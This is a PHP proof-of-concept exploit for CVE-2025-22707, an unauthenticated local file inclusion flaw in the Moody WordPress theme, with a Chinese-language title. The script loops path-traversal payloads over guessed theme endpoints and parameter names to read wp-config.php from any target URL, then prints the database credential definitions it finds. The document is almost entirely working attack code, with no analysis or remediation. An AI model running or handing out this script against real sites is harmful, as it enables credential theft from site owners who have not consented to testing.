CVE-2025-22707 WordPress Moody主题本地文件包含漏洞

<?php /** * CVE-2025-22707 PoC - Moody WordPress Theme Local File Inclusion * Target: ThemeMove Moody theme <= 2.7.3 * Vulnerability: Unauthenticated Local File Inclusion * * Usage: php poc.php [target_url] * Example: php poc.php http://victim.com */ $target = $argv[1] ?? 'http://localhost'; // Common vulnerable endpoints in Moody theme $vulnerable_paths = [ '/wp-content/themes/tm-moody/framework/modules/header/view/', '/wp-content/themes/tm-moody/framework/include/', '/wp-content/themes/tm-moody/' ]; // Target parameter names commonly used in LFI vulnerabilities $param_names = ['file', 'page', 'template', 'view', 'path', 'style']; // Test payload - path traversal to read wp-config.php echo "[*] CVE-2025-22707 PoC - Moody Theme LFI\n"; echo "[*] Target: {$target}\n\n"; foreach ($vulnerable_paths as $base_path) { foreach ($param_names as $param) { // Basic path traversal payload $payload = "../../../../../../../../wp-config.php"; $url = $target . $base_path . "?" . $param . "=" . urlencode($payload); echo "[+] Testing: {$param}={$payload}\n"; echo " URL: {$url}\n"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_code == 200 && stripos($response, 'DB_NAME') !== false) { echo "[!] VULNERABLE! Found wp-config.php content\n"; echo "[+] Extracted content preview:\n"; preg_match_all('/define\([^)]+\)/i', $response, $matches); foreach (array_slice($matches[0], 0, 5) as $match) { echo " {$match}\n"; } exit(0); } } } echo "[-] No obvious vulnerability detected\n"; echo "[*] Manual testing recommended\n";